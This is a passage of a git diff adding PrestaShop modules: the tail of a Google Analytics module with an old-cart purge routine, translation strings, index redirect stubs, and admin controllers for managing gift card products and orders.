        '; + } + + public function purgeDB() + { + $table = 'ganalyticscoms'; + + $carts = Db::getInstance()->ExecuteS('SELECT `id_cart` FROM `'._DB_PREFIX_.'cart` WHERE DATE(date_add) < (CURDATE() - INTERVAL 1 MONTH)'); + + if (sizeof($carts)) + { + $list = ''; + foreach ($carts AS $cart) + $list .= (int)$cart['id_cart'].','; + $list = rtrim($list, ','); + if(!Db::getInstance()->Execute('DELETE FROM `'._DB_PREFIX_.$table.'` WHERE `id_cart` IN ('.$list.')')) + { + $this->_postErrors[] = $this->l('Une erreur est survenue, la purge ne s\'est pas effectuée correctement.'); + } + } + + + } + + public function checkVersion($type) + { + $version = substr(_PS_VERSION_,0,3); + if('is_1.4' == $type) return ($version < 1.5) ? true : false ; + elseif('is_1.5' == $type) return ($version >= 1.5) ? true : false ; + } + +} \ No newline at end of file diff --git a/modules/ganalyticscom/header.tpl b/modules/ganalyticscom/header.tpl new file mode 100755 index 0000000..6f42026 --- /dev/null +++ b/modules/ganalyticscom/header.tpl @@ -0,0 +1,15 @@ + diff --git a/modules/ganalyticscom/img/ajax-loader-yellow.gif b/modules/ganalyticscom/img/ajax-loader-yellow.gif new file mode 100755 index 0000000..999a5e3 Binary files /dev/null and b/modules/ganalyticscom/img/ajax-loader-yellow.gif differ diff --git a/modules/ganalyticscom/img/ajax-loader.gif b/modules/ganalyticscom/img/ajax-loader.gif new file mode 100755 index 0000000..e6892c3 Binary files /dev/null and b/modules/ganalyticscom/img/ajax-loader.gif differ diff --git a/modules/ganalyticscom/img/closebox.png b/modules/ganalyticscom/img/closebox.png new file mode 100755 index 0000000..4de4396 Binary files /dev/null and b/modules/ganalyticscom/img/closebox.png differ diff --git a/modules/ganalyticscom/img/closebox_selected.png b/modules/ganalyticscom/img/closebox_selected.png new file mode 100755 index 0000000..ff0e132 Binary files /dev/null and b/modules/ganalyticscom/img/closebox_selected.png differ diff --git a/modules/ganalyticscom/img/end.png b/modules/ganalyticscom/img/end.png new file mode 100755 index 0000000..65620e7 Binary files /dev/null and b/modules/ganalyticscom/img/end.png differ diff --git a/modules/ganalyticscom/img/start.png b/modules/ganalyticscom/img/start.png new file mode 100755 index 0000000..cb24961 Binary files /dev/null and b/modules/ganalyticscom/img/start.png differ diff --git a/modules/ganalyticscom/img/startend.png b/modules/ganalyticscom/img/startend.png new file mode 100755 index 0000000..72ffd58 Binary files /dev/null and b/modules/ganalyticscom/img/startend.png differ diff --git a/modules/ganalyticscom/img/titre-bleu.png b/modules/ganalyticscom/img/titre-bleu.png new file mode 100755 index 0000000..08cd10a Binary files /dev/null and b/modules/ganalyticscom/img/titre-bleu.png differ diff --git a/modules/ganalyticscom/img/titre-rose.png b/modules/ganalyticscom/img/titre-rose.png new file mode 100755 index 0000000..9f4b11f Binary files /dev/null and b/modules/ganalyticscom/img/titre-rose.png differ diff --git a/modules/ganalyticscom/index.php b/modules/ganalyticscom/index.php new file mode 100755 index 0000000..b559f98 --- /dev/null +++ b/modules/ganalyticscom/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2011 PrestaShop SA +* @version Release: $Revision: 7233 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/ganalyticscom/it.php b/modules/ganalyticscom/it.php new file mode 100755 index 0000000..4e0055a --- /dev/null +++ b/modules/ganalyticscom/it.php @@ -0,0 +1,46 @@ +ga-results_f37c41ea897ac9887ace853cbe21ff56'] = 'Visite'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_a92a79b1e5e6f52ee3bcc75983525e93'] = 'Visualizzazioni di pagina'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_010e26794a601bfb982adb0ca084a1f6'] = 'Pagine/visita'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_05fb406703640ed24cc72aca2cf7f79b'] = 'Frequenza di rimbalzo'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_2fef3057e2d679a65b84e386a91bfb78'] = 'Durata media visita'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_4ee10ad2789b2938e8ba49bc2a8b46f5'] = 'Nuove visite'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_3bb1503332637805beddb73a2dd1fe1b'] = 'Conversione'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_31112aca11d0e9e6eb7db96f317dda49'] = 'Transazioni'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_697bde7ec4cb068417d4c5e745df89ee'] = 'Entrate'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_cd065fe1ed0512f2a632c79c535905c1'] = 'Valore medio'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_15_f37c41ea897ac9887ace853cbe21ff56'] = 'Visite'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_15_a92a79b1e5e6f52ee3bcc75983525e93'] = 'Visualizzazioni di pagina'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_15_010e26794a601bfb982adb0ca084a1f6'] = 'Pagine / visita'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_15_05fb406703640ed24cc72aca2cf7f79b'] = 'Frequenza di rimbalzo'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_15_2fef3057e2d679a65b84e386a91bfb78'] = 'Durata media visita'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_15_4ee10ad2789b2938e8ba49bc2a8b46f5'] = 'Nuove visite'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_15_3bb1503332637805beddb73a2dd1fe1b'] = 'Conversione'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_15_31112aca11d0e9e6eb7db96f317dda49'] = 'Transazioni'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_15_697bde7ec4cb068417d4c5e745df89ee'] = 'Entrate'; +$_MODULE['<{ganalyticsreport}prestashop>ga-results_15_cd065fe1ed0512f2a632c79c535905c1'] = 'Valore medio'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_e5c483950bfe8990756c63f78e338d35'] = 'Google Analytics Report'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_620bc018bf80308f682f91df6b816e67'] = 'Realizzazione'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_e7785de91330713fc2d12404bb6bd556'] = 'Impostazioni'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_73732af11836e1d28382c85553794bfd'] = 'ID monitoraggio'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_740b57fb19eeca4ffd4c612065a31e41'] = '(UA-xxxxxxx-xx)'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_13b4d4758c868109fd1c91c1948c5cb9'] = 'ID profilo'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_dd8afbd38b01a7b4eb27f45fc036b881'] = 'logs'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_aed88202e2432ee2a613f9120ef7486b'] = 'Applica'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_f37c41ea897ac9887ace853cbe21ff56'] = 'Visite'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_a92a79b1e5e6f52ee3bcc75983525e93'] = 'Visualizzazioni di pagina'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_010e26794a601bfb982adb0ca084a1f6'] = 'Pagine / visita'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_05fb406703640ed24cc72aca2cf7f79b'] = 'Frequenza di rimbalzo'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_2fef3057e2d679a65b84e386a91bfb78'] = 'Durata media visita'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_4ee10ad2789b2938e8ba49bc2a8b46f5'] = 'Nuove visite'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_3bb1503332637805beddb73a2dd1fe1b'] = 'Conversione'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_31112aca11d0e9e6eb7db96f317dda49'] = 'Transazioni'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_b10829a23a83471f38cde666afdffc93'] = 'Entrate'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_cd065fe1ed0512f2a632c79c535905c1'] = 'Valore medio'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_af75280380b650bcbd39366b7f61cb9d'] = 'Sorgenti di traffico'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_063d3f237acc3117c27c8da330ca6870'] = 'Sorgenti di entrate'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_7f5c883c38342a547d997e8d38aa9313'] = 'Valore medio'; +$_MODULE['<{ganalyticsreport}prestashop>ganalyticsreport_697bde7ec4cb068417d4c5e745df89ee'] = 'Entrate'; diff --git a/modules/ganalyticscom/logo.gif b/modules/ganalyticscom/logo.gif new file mode 100755 index 0000000..23d7e6c Binary files /dev/null and b/modules/ganalyticscom/logo.gif differ diff --git a/modules/ganalyticscom/logo.png b/modules/ganalyticscom/logo.png new file mode 100755 index 0000000..3babaad Binary files /dev/null and b/modules/ganalyticscom/logo.png differ diff --git a/modules/ganalyticscom/views/templates/hook/header.tpl b/modules/ganalyticscom/views/templates/hook/header.tpl new file mode 100755 index 0000000..b1c556a --- /dev/null +++ b/modules/ganalyticscom/views/templates/hook/header.tpl @@ -0,0 +1,12 @@ + diff --git a/modules/giftcard/controllers/admin/AdminGiftCardController.php b/modules/giftcard/controllers/admin/AdminGiftCardController.php new file mode 100755 index 0000000..3515f32 --- /dev/null +++ b/modules/giftcard/controllers/admin/AdminGiftCardController.php @@ -0,0 +1,610 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ +class AdminGiftCardController extends ModuleAdminController { + protected $position_identifier = 'id_product'; + public function __construct() + { + $this->bootstrap = true; + $this->table = 'product'; + $this->className = 'GiftCardProduct'; + $this->lang = false; + $currencies_array = array (); + $currencies = Currency::getCurrencies(); + foreach ($currencies as $currencyitem) + $currencies_array[$currencyitem['id_currency']] = $currencyitem['name'].' '.$currencyitem['sign']; + $this->fields_list = array ( + 'id_product' => array ( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 30 + ), + + 'image' => array ( + 'title' => $this->l('Photo'), + 'align' => 'center', + 'width' => 70, + 'orderby' => false, + 'image' => 'p', + 'filter' => false, + 'search' => false + ), + 'id_currency' => array ( + 'title' => $this->l('Display currency'), + 'width' => 'auto', + 'align' => 'center', + 'type' => 'select', + 'list' => $currencies_array, + 'filter_key' => 'curr!id_currency', + 'filter_type' => 'int', + 'order_key' => 'currname', + 'callback' => 'printCurrency' + ), + 'product_name' => array ( + 'title' => $this->l('Name'), + 'width' => 'auto' + ), + 'amount' => array ( + 'title' => $this->l('Price'), + 'align' => 'center', + 'callback' => 'printPrice', + 'width' => 90 + ), + 'cr_partial_use' => array ( + 'title' => $this->l('Partial Use'), + 'width' => 70, + 'search' => false, + 'callback' => 'printPartialUseIcon', + 'align' => 'center', + 'type' => 'bool', + 'orderby' => false + ), + 'cr_free_shipping' => array ( + 'title' => $this->l('Free Shipping'), + 'width' => 70, + 'callback' => 'printFreeShipIcon', + 'search' => false, + 'align' => 'center', + 'type' => 'bool', + 'orderby' => false + ), + 'isdefaultgiftcard' => array ( + 'title' => $this->l('Default'), + 'align' => 'center', + 'width' => 70, + 'type' => 'bool', + 'callback' => 'printDefaultIcon', + 'orderby' => false + ), + 'active' => array ( + 'title' => $this->l('Status'), + 'width' => 70, + 'active' => 'status', + 'search' => false, + 'align' => 'center', + 'type' => 'bool', + 'orderby' => false + ) + ); + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_SHOP) + $this->fields_list['shopname'] = array( + 'title' => $this->l('Default shop'), + 'filter_key' => 'shop!name', + ); + $this->bulk_actions = array ( + 'delete' => array ( + 'text' => $this->l('Delete selected'), + 'confirm' => $this->l('Delete selected items?') + ), + 'enableSelection' => array ( + 'text' => $this->l('Enable selection') + ), + 'disableSelection' => array ( + 'text' => $this->l('Disable selection') + ) + ); + $this->identifier = 'id_product'; + $this->context = Context::getContext(); + $this->fieldImageSettings = array ( + 'name' => 'image_product', + 'dir' => 'p' + ); + parent::__construct(); + } + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('duplicate'); + $this->addRowAction('delete'); + $this->_select = 'g.*,pl.`name` as product_name,a.price,a.`active`,i.id_image,curr.name as currname'; + $this->_join = 'INNER JOIN `'._DB_PREFIX_.'giftcardproduct` g ON a.id_product = g.id_product + INNER JOIN `'._DB_PREFIX_.'product_lang` pl ON a.id_product = pl.id_product AND id_lang='.(int)$this->context->language->id.' + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = a.`id_product` and i.`cover` = 1) + LEFT JOIN `'._DB_PREFIX_.'currency` curr ON (curr.`id_currency` = g.`id_currency`)' + ; + // we add restriction for shop + $id_shop = Shop::isFeatureActive() && Shop::getContext() == Shop::CONTEXT_SHOP? (int)$this->context->shop->id : 'a.id_shop_default'; + $this->_join .= ' JOIN `'._DB_PREFIX_.'product_shop` sa ON (a.`id_product` = sa.`id_product` AND sa.id_shop = '.$id_shop.') + LEFT JOIN `'._DB_PREFIX_.'shop` shop ON (shop.id_shop = '.$id_shop.') '; + $this->_group = 'GROUP BY a.id_product'; + $lists = parent::renderList(); + parent::initToolbar(); + $html = ''; + $html .= $lists; + return ($html); + } + public function initProcess() + { + /* Dupplication */ + if (Tools::getIsset('duplicate'.$this->table)) + { + if ($this->tabAccess['add'] === '1') + $this->action = 'duplicate'; + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + parent::initProcess(); + /* check access if issue specific action */ + $access = Profile::getProfileAccess($this->context->employee->id_profile, (int)Tab::getIdFromClassName('AdminGiftCard')); + if ($access['view'] === '1' && ($action = Tools::getValue('submitAction'))) + $this->action = $action; + if (Tools::isSubmit('changeDefaultVal') && $this->id_object) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'change_default_val'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + if (Tools::isSubmit('changePartialUseVal') && $this->id_object) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'change_partial_use_val'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + if (Tools::isSubmit('changeFreeShipVal') && $this->id_object) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'change_free_ship_val'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + } + /* Change default giftcard product */ + public function processChangeDefaultVal() + { + $giftCard = new GiftCardProduct($this->id_object); + if (! Validate::isLoadedObject($giftCard)) + $this->errors[] = Tools::displayError('An error occurred while updating rule information.'); + $valueDefault = $giftCard->isdefaultgiftcard ? 0 : 1; + if ((int)$valueDefault == 0) + $this->errors[] = Tools::displayError('Default is required'); + else + { + if (! $giftCard->changeToDefault()) + $this->errors[] = Tools::displayError('An error occurred while updating information.'); + } + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + public function processChangePartialUseVal() + { + $giftCard = new GiftCardProduct($this->id_object); + if (! Validate::isLoadedObject($giftCard)) + $this->errors[] = Tools::displayError('An error occurred while updating rule information.'); + $value = $giftCard->cr_partial_use ? 0 : 1; + $giftCard->cr_partial_use = $value; + $giftCard->update(); + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + public function processChangeFreeShipVal() + { + $giftCard = new GiftCardProduct($this->id_object); + if (! Validate::isLoadedObject($giftCard)) + $this->errors[] = Tools::displayError('An error occurred while updating rule information.'); + $value = $giftCard->cr_free_shipping ? 0 : 1; + $giftCard->cr_free_shipping = $value; + $giftCard->update(); + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + public function postProcess() + { + /* + * $this->addJS ( array ( _MODULE_DIR_.'giftcard/js/admingiftcard.js' ) ); $this->addCSS ( array ( _MODULE_DIR_.'giftcard/css/admingiftcard.css' ) ); + */ + $this->addJqueryUI(array ( + 'ui.core', + 'ui.widget' + )); + if (! count($this->errors)) + parent::postProcess(); + } + public function processAdd() + { + if (! isset($this->className) || empty($this->className)) + return false; + $this->object = new $this->className(); + $this->copyFromPost($this->object, $this->table); + /* Init value */ + $this->initAndVal(); + if (! empty($this->errors)) + { + $this->display = 'add'; + return false; + } + + if (! $this->object->add()) + $this->errors[] = Tools::displayError('An error occurred while creating an object.').' '.$this->table.''; + else + { + $this->updateAssoShop($this->object->id); + /* Update the quantity */ + StockAvailable::setQuantity($this->object->id, 0, (int)Tools::getValue('quantity')); + $currency_default = (int)Configuration::get('PS_CURRENCY_DEFAULT'); + $currencies = Currency::getCurrencies(); + foreach ($currencies as $currencyitem) + { + if ((int)$currencyitem['id_currency'] != $currency_default && ((int)$this->object->id_currency == 0 || (int)$currencyitem['id_currency'] == (int)$this->object->id_currency)) + GiftCardTools::addFixedPrice($this->object->id, (int)$currencyitem['id_currency'], (float)Tools::getValue('amount')); + } + + $giftCardTemplate = GiftCardTemplate::getDefault(); + if (! $giftCardTemplate) + $this->error[] = $this->l('Template default is required to create product image'); + elseif (! $giftCardTemplate->generateProductImage($this->object->id)) + $this->error[] = $this->l('Error occuring while creating default image'); + else + $this->confirmations[] = $this->l('The card has successfully created'); + } + return $this->object; + } + private function removeFixedPrice($id_product) + { + SpecificPrice::deleteByProductId($id_product); + } + public function processUpdate() + { + $this->copyFromPost($this->object, $this->table); + $this->initAndVal(); + if (! empty($this->errors)) + { + $this->display = 'edit'; + return false; + } else + { + if ($this->object->update()) + { + $this->updateAssoShop($this->object->id); + StockAvailable::setQuantity($this->object->id, 0, (int)Tools::getValue('quantity')); + $this->removeFixedPrice($this->object->id); + $currency_default = (int)Configuration::get('PS_CURRENCY_DEFAULT'); + $currencies = Currency::getCurrencies(); + foreach ($currencies as $currencyitem) + { + if ((int)$currencyitem['id_currency'] != $currency_default) + GiftCardTools::addFixedPrice($this->object->id, (int)$currencyitem['id_currency'], (float)Tools::getValue('amount')); + } + $image = Image::getCover($this->object->id); + $giftCardTemplate = GiftCardTemplate::getDefault(); + if (! $giftCardTemplate) + $this->error[] = $this->l('Template default is required to create product image'); + elseif ($giftCardTemplate->issvg && ! $giftCardTemplate->generateProductImage($this->object->id)) + $this->error[] = $this->l('Error occuring while creating default image'); + elseif (! $giftCardTemplate->issvg && ! $image && ! $giftCardTemplate->generateProductImage($this->object->id)) + $this->error[] = $this->l('Error occuring while creating default image'); + else + $this->confirmations[] = $this->l('The card has successfully updated'); + } else + $this->errors[] = $this->l('An error occurred while updated the object.'); + } + } + public function initAndVal() + { + /* + * $imagick=false; if (extension_loaded('imagick')) $imagick=true; + */ + $languages = Language::getLanguages(false); + /* name is required in default language */ + $default_language = new Language((int)Configuration::get('PS_LANG_DEFAULT')); + if (! Tools::getValue(('name_'.$default_language->id))) + $this->errors[] = $this->l('The name is empty. You will at least need to enter a name for the default language before you can save.'); + foreach ($languages as $language) + { + $product_name = Tools::getValue('name_'.(int)$language['id_lang'], ''); + $this->object->name[(int)$language['id_lang']] = $product_name; + } + if (! Tools::getValue('amount') || ! Validate::isPrice(Tools::getValue('amount')) || ! (((float)Tools::getValue('amount')) > 0)) + $this->errors[] = $this->l('The field price is required and must be superior at 0'); + if (Tools::getValue('ean13') && trim(Tools::getValue('ean13')) != '' && ! Validate::isEan13(Tools::getValue('ean13'))) + $this->errors[] = $this->l('The field ean13 is not valid, length (25) must be between 0 and 13'); + if (Tools::getValue('upc') && trim(Tools::getValue('upc')) != '' && ! Validate::isUpc(Tools::getValue('upc'))) + $this->errors[] = $this->l('The field upc is not valid'); + if (trim(Tools::getValue('period_val')) == '' || (! (int)(Tools::getValue('period_val')) > 0 || (int)(Tools::getValue('period_val')) > 1000)) + $this->errors[] = $this->l('The field period_val is required and must be superior at 0 and inferior at 1000'); + if (trim(Tools::getValue('quantity')) == '' || ! ((int)(Tools::getValue('quantity')) > 0)) + $this->errors[] = $this->l('The field quantity is required and must be superior at 0'); + $this->object->id_currency = (int)Tools::getValue('id_currency'); + $this->object->id_tax_rules_group = 0; + $this->object->price = (float)Tools::getValue('amount'); + $this->object->amount = (float)Tools::getValue('amount'); + $this->object->reference = Tools::getValue('reference', ''); + $this->object->ean13 = Tools::getValue('ean13', ''); + $this->object->upc = Tools::getValue('upc', ''); + if (empty($this->errors)) + $currency_default = (int)Configuration::get('PS_CURRENCY_DEFAULT'); + } + public function renderForm() + { + if (! ($obj = $this->loadObject(true))) + return; + $this->toolbar_btn['save-and-stay'] = array ( + 'href' => '#', + 'desc' => $this->l('Save and Stay') + ); + $current_object = $this->loadObject(true); + $languages = Language::getLanguages(); + $defaultCurrency = new Currency((int)Configuration::get('PS_CURRENCY_DEFAULT')); + $currencies = Currency::getCurrencies(); + $imageproduct = false; + $imagick = false; + if (extension_loaded('imagick')) + $imagick = true; + if ($this->object->id) + { + $image = Image::getCover($this->object->id); + if ($image && isset($image['id_image'])) + { + $image_product = new Image($image['id_image']); + $image = ImageManager::thumbnail(_PS_IMG_DIR_.'p/'.$image_product->getExistingImgPath().'.jpg', 'product_mini_'.(int)$this->object->id.'.jpg', 45, 'jpg'); + $this->fields_value = array (); + $imageproduct = array ( + 'image' => $image ? $image : false, + 'size' => $image ? filesize(_PS_IMG_DIR_.'p/'.$image_product->getExistingImgPath().'.jpg') / 1000 : false + ); + } + } + $this->fields_form = array ( + 'legend' => array ( + 'title' => $this->l('Gift Card'), + 'icon' => 'icon-credit-card' + ), + 'input' => array ( + array ( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'lang' => true, + 'required' => true, + 'class' => 'copy2friendlyUrl', + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array ( + 'type' => 'select', + 'label' => $this->l('Currency'), + 'name' => 'id_currency', + 'desc' => $this->l('Gift card only visible.'), + 'required' => true, + 'options' => array ( + 'query' => $currencies, + 'id' => 'id_currency', + 'name' => 'name', + 'default' => array ( + 'label' => $this->l('All Currencies'), + 'value' => 0 + ) + ) + ), + array ( + 'type' => 'text', + 'label' => $this->l('Price'), + 'name' => 'amount', + 'required' => true + ), + array ( + 'type' => 'text', + 'label' => $this->l('Quantity'), + 'name' => 'quantity', + 'required' => true + ), + array ( + 'type' => 'text', + 'label' => $this->l('Period of validity'), + 'name' => 'period_val', + 'required' => true + ), + array ( + 'type' => 'text', + 'label' => $this->l('Reference'), + 'name' => 'reference', + 'required' => false + ), + array ( + 'type' => 'text', + 'label' => $this->l('Ean13'), + 'name' => 'ean13', + 'required' => false + ), + array ( + 'type' => 'text', + 'label' => $this->l('Upc'), + 'name' => 'upc', + 'required' => false + ), + array ( + 'type' => (version_compare(_PS_VERSION_, '1.6.0', '>=') ? 'switch' : 'radio'), + 'label' => $this->l('Free Shipping'), + 'name' => 'cr_free_shipping', + 'class' => 't', + 'is_bool' => true, + 'values' => array ( + array ( + 'id' => 'freeship_yes', + 'value' => 1, + 'label' => $this->l('Yes') + ), + array ( + 'id' => 'freeship_no', + 'value' => 0, + 'label' => $this->l('No') + ) + ) + ), + array ( + 'type' => (version_compare(_PS_VERSION_, '1.6.0', '>=') ? 'switch' : 'radio'), + 'label' => $this->l('Partial Use'), + 'name' => 'cr_partial_use', + 'hint' => $this->l('Only applicable if the voucher value is greater than the cart total.').' '.$this->l('If you do not allow partial use, the voucher value will be lowered to the total order amount. If you allow partial use, however, a new voucher will be created with the remainder.'), + 'class' => 't', + 'is_bool' => true, + 'values' => array ( + array ( + 'id' => 'partial_use_yes', + 'value' => 1, + 'label' => $this->l('Yes') + ), + array ( + 'id' => 'partial_use_no', + 'value' => 0, + 'label' => $this->l('No') + ) + ) + ), + + array ( + 'type' => (version_compare(_PS_VERSION_, '1.6.0', '>=') ? 'switch' : 'radio'), + 'label' => $this->l('Status'), + 'name' => 'active', + 'class' => 't', + 'is_bool' => true, + 'values' => array ( + array ( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array ( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ) + ), + 'submit' => array ( + 'title' => $this->l('Save'), + 'name' => 'submitAdd'.$this->table.'AndBackToParent' + ) + ); + if (Shop::isFeatureActive()) + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association'), + 'name' => 'checkBoxShopAsso', + ); + /* + * $this->fields_form ['submit'] = array ( 'title' => $this->l ( 'Save ' ), 'class' => 'button' ); + */ + $this->context->smarty->assign(array ( + 'show_toolbar' => true, + 'toolbar_btn' => $this->toolbar_btn, + 'toolbar_scroll' => $this->toolbar_scroll, + 'title' => array ( + $this->l('Gift Card') + ), + ' ' => $defaultCurrency, + + 'defaultCurrency' => Configuration::get('PS_CURRENCY_DEFAULT'), + 'id_lang_default' => Configuration::get('PS_LANG_DEFAULT'), + 'languages' => $languages, + 'currencies' => Currency::getCurrencies(), + 'currentIndex' => self::$currentIndex, + 'currentToken' => $this->token, + 'currentObject' => $current_object, + 'ps_version' => _PS_VERSION_, + 'image_product' => $imageproduct, + 'currentTab' => $this, + 'toolbar_btn' => $this->toolbar_btn, + 'toolbar_scroll' => $this->toolbar_scroll, + 'giftcard_img_dir' => _MODULE_DIR_.'giftcard/img/', + 'imagick' => $imagick + )); + return parent::renderForm(); + } + public function printCurrency($value, $giftcard) + { + if (version_compare(_PS_VERSION_, '1.6.0', '>=')) + { + if ((int)$giftcard['id_currency'] > 0) + { + $currency = new Currency((int)$giftcard['id_currency']); + return (''.$currency->name.' '.$currency->sign.''); + } + return (''.$this->l('ALL').''); + } else + { + if ((int)$giftcard['id_currency'] > 0) + { + $currency = new Currency((int)$giftcard['id_currency']); + return (''.$currency->name.' '.$currency->sign.''); + } + return (''.$this->l('ALL').''); + } + } + public static function printImage($value, $giftcard) + { + $image = Image::getCover((int)$giftcard['id_product']); + if ($image && isset($image['id_image'])) + { + $image_product = new Image($image['id_image']); + $image = ImageManager::thumbnail(_PS_IMG_DIR_.'p/'.$image_product->getExistingImgPath().'.jpg', 'product_mini_'.(int)$giftcard['id_product'].'.jpg', 45, 'jpg'); + return (_PS_IMG_DIR_.'p/'.$image_product->getExistingImgPath().'.jpg'); + } + return (''); + } + public static function printPrice($value, $giftcard) + { + if ((int)$giftcard['id_currency'] == 0) + return ((float)$giftcard['amount']); + return (Tools::displayPrice((float)$giftcard['amount'], (int)$giftcard['id_currency'])); + } + public function printDefaultIcon($value, $giftCard) + { + return ' + '.((int)$value ? ''.$this->l('Default').'' : ''.$this->l('Not Default').'').''; + } + public function printPartialUseIcon($value, $giftCard) + { + return ' + '.((int)$value ? ''.$this->l('Yes').'' : ''.$this->l('No').'').''; + } + public function printFreeShipIcon($value, $giftCard) + { + return ' + '.((int)$value ? ''.$this->l('Yes').'' : ''.$this->l('No').'').''; + } + public function processDuplicate() + { + $giftcardnew = GiftCardProduct::duplicate((int)Tools::getValue('id_product')); + if ($giftcardnew) + { + Hook::exec('actionProductAdd', array ( + 'product' => $giftcardnew + )); + } else + $this->errors[] = $this->l('An error occurred while creating an object.'); + } +} diff --git a/modules/giftcard/controllers/admin/AdminGiftCardOrderController.php b/modules/giftcard/controllers/admin/AdminGiftCardOrderController.php new file mode 100755 index 0000000..27470c0 --- /dev/null +++ b/modules/giftcard/controllers/admin/AdminGiftCardOrderController.php @@ -0,0 +1,247 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ +require_once (_PS_TOOL_DIR_.'tcpdf/tcpdf.php'); +class AdminGiftCardOrderController extends ModuleAdminController { + public function __construct() + { + $this->bootstrap = true; + $this->table = 'giftcardorder'; + $this->className = 'GiftCardOrder'; + $this->show_toolbar = false; + $this->list_no_link = true; + $this->fields_list = array ( + 'id_order' => array ( + 'title' => $this->l('Order'), + 'align' => 'left', + 'width' => 30, + 'callback' => 'printLinkOrder' + ), + 'id_gift_card_template' => array ( + 'title' => $this->l('Template'), + 'align' => 'left', + 'callback' => 'printImage', + 'width' => 170 + ), + 'price' => array ( + 'title' => $this->l('Price'), + 'width' => 50, + 'align' => 'right', + 'prefix' => '', + 'suffix' => '', + 'type' => 'price', + 'filter_key' => 'a!price', + 'currency' => true + ), + 'receptmode' => array ( + 'title' => $this->l('Mode'), + 'align' => 'center', + 'width' => 50, + 'callback' => 'printCustom' + ), + 'sended' => array ( + 'title' => $this->l('Recipient'), + 'align' => 'center', + 'width' => 30, + 'callback' => 'printSended' + ), + 'customer' => array ( + 'title' => $this->l('Customer'), + 'havingFilter' => true + ), + + 'discountcode' => array ( + 'title' => $this->l('Code'), + 'align' => 'left', + 'width' => 190, + 'callback' => 'printLinkCode' + ), + + 'status' => array ( + 'title' => $this->l('Status'), + 'width' => '150', + 'align' => 'center', + 'callback' => 'printStatus', + 'orderby' => false + ), + 'info' => array ( + 'title' => $this->l('Info'), + 'align' => 'left', + 'filter' => false, + 'orderby' => false, + 'callback' => 'printInfo' + ), + 'date_add' => array ( + 'title' => 